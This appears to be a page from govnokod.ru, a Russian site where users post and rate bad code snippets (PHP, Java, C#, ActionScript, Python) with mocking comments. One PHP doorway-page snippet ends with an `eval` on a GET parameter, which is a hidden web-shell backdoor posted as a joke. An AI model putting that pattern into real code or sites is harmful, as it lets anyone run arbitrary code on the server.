- 1
- 2
- 3
if (isset($param) && $param!=null && $param!=0 && $param>1) {
sendRequest($param);
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+60
if (isset($param) && $param!=null && $param!=0 && $param>1) {
sendRequest($param);
}
−60
if (!account_number.equals("") && cycleT != null) {
if (!account_number.equals(num)) {
doWrite(bufferedOut);
account_number = num;
cycleT = c;
vT = v;
} else if (!cycleT.equals(c)) {
doWrite(bufferedOut);
account_number = num;
cycleT = c;
vT = v;
} else if (vT != v) {
doWrite(bufferedOut);
account_number = num;
cycleT = c;
vT = v;
}
} else {
account_number = num;
cycleT = c;
vT = v;
}
+27.7
$int = (int) $int;
if (is_int($int)) { // на всякий случай
// ...
}
Идея где-то валяется в залежах башорга.
−55.8
public static int daysBetween(Date startDate, Date endDate)
{
int difInDays = (int) ((endDate.getTime() - startDate.getTime())/(1000*60*60*24));
}
Потрясающая воображение функция, которая считает разницу в днях между датами. Различие с правильным результатом в +\- 1 день получается в 30% случаев...
+87.3
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>
+31
public TourResult NextTour()
{
TourResult lresult = new TourResult();
lresult.TourNum = mCurrentTour;
lresult.IsEnd = false;
Card.Face[] lCurrFaces = getCurrentTourFace();
int lMaxFace = 0;
foreach (Card.Face lFace in lCurrFaces)
{
lMaxFace = ((int)lFace) > lMaxFace ? (int)lFace : lMaxFace;
}
int lMaxFaceCount = 0;
int lNotZeroCount = 0;
foreach (Card.Face lFace in lCurrFaces)
{
lMaxFaceCount = (int)lFace == lMaxFace ? lMaxFaceCount + 1 : lMaxFaceCount + 0;
lNotZeroCount = (int)lFace != 0 ? lNotZeroCount + 1 : lNotZeroCount + 0;
}
if (lMaxFaceCount > 1)
{
mUnknowTour = mUnknowTour > -1 ? mUnknowTour : mCurrentTour;
mCurrentTour++;
lresult.Message = "Одинаковые карты, надо разиграть";
lresult.PlayerIndex = -1;
lresult.Face = (Face)lMaxFace;
return lresult;
}
int lMaxFaceIndex;
for (lMaxFaceIndex = 0; lMaxFaceIndex < lCurrFaces.Length; lMaxFaceIndex++)
{
if (((int)lCurrFaces[lMaxFaceIndex]) == lMaxFace)
break;
}
if (lNotZeroCount < 2)
{
lresult.Message = "победил";
lresult.PlayerIndex = lMaxFaceIndex;
lresult.IsEnd = true;
return lresult;
}
int lPlaerCardsCount = mArr[lMaxFaceIndex].Count;
if (mUnknowTour > -1)
{
for (int i = mUnknowTour; i <= mCurrentTour; i++)
{
AddCardsToPlayer(i, lMaxFaceIndex);
}
mUnknowTour = -1;
}
else
{
AddCardsToPlayer(mCurrentTour, lMaxFaceIndex);
}
lresult.Message = "загреб краты";
for (int i = lPlaerCardsCount; i < mArr[lMaxFaceIndex].Count; i++)
{
lresult.Message += string.Format(" {0},", GetCardName(mArr[lMaxFaceIndex][i]));
}
lresult.PlayerIndex = lMaxFaceIndex;
mCurrentTour++;
return lresult;
}
Говнокод из карточной игры в пьяницу
−43.8
private Map<Class<?>, Map<String, String[]>> compressDependencies(
Map<Class<?>, Map<String, List<String>>> dependencies) {
final Map<Class<?>, Map<String, String[]>> result =
new FastMap<Class<?>, Map<String, String[]>>(dependencies.size());
final Set<Entry<Class<?>, Map<String, List<String>>>> entrySet = dependencies.entrySet();
for (Entry<Class<?>, Map<String, List<String>>> entry : entrySet) {
final Map<String, List<String>> value = entry.getValue();
final Map<String, String[]> desc = new FastMap<String, String[]>(value.size());
final Set<Entry<String, List<String>>> subEntries = value.entrySet();
for (Entry<String, List<String>> valueEntry : subEntries) {
final List<String> list = valueEntry.getValue();
if (list != null && !list.isEmpty()) {
desc.put(valueEntry.getKey(), list.toArray(new String[list.size()]));
}
}
result.put(entry.getKey(), desc);
}
return result;
}
Код от "мега разработчика", архитектора очень большого проекта.
PS Будьте осторожны в использовании java generics :)
−552.7
function isAvailable():Boolean{
return ExternalInterface.available;
}
ExternalInterface.addCallback('isAvailable', isAvailable);
это примерно как в ХТМЛ
alert("ваш браузер не поддерживает яваскрипт")
−586.4
/**
* создаем RemoteObject и регестрируем слушателей его метода sayLogin
* */
public function useLogonService():void
{
logonService = new RemoteObject();
logonService.destination = "amfphp";
logonService.source = "ez_report.logon";
logonService.sayLogin.addEventListener("result",resultHandler);
logonService.addEventListener("fault", faultHandler);
}
/**
* после запуска модуля стартуем здесь все, что необходимо.
* */
public function logonInit():void
{
useLogonService();
loginInput.setFocus();
}
/**
* вызываем RO метод с параметрами из textinput,
* который возвращает объект типа User, если регистрация прошла успешно.
* */
public function sayLogin():void
{
logonService.sayLogin(loginInput.text,passInput.text);
}
//todo: ПЕРЕДЕЛАТЬ НАХЕР!!! УЁ..ИЩЕ!! все сделать через интерфейсы и события!
/**
* присваиваем переменным в main.swf соответствующие значения
* */
private function resultHandler(rs:ResultEvent):void
{
parentApplication.login=loginInput.text;
parentApplication.password=passInput.text;
parentApplication.removeLogonModule();
}
//todo: прикрутить, наконец, проверку типа ошибки.
private function faultHandler(f:FaultEvent):void
{
Alert.show(f.fault.faultString+f.fault.faultDetail+f.message.body.toString());
}
Crazy horse
Когда-то мной писалось и такое))
кошмар, конечно, но все на чем-то учатся.
Теперь особо радуют комментарии (AsDoc, как же,)
связь с parentApplication и отсутствие прокси.
0
try:
# Get or create cached encoder/decoder pair atomically
encoder_decoder = cls._encoder_cache.get(struct_cls)
if encoder_decoder is None:
encoder = msgspec.json.Encoder()
decoder = msgspec.json.Decoder(type=struct_cls, dec_hook=_dec_hook)
encoder_decoder = (encoder, decoder)
cls._encoder_cache[struct_cls] = encoder_decoder
cls._decoder_cache[struct_cls] = encoder_decoder
else:
encoder, decoder = encoder_decoder
Энкодер декодер энкодер декодер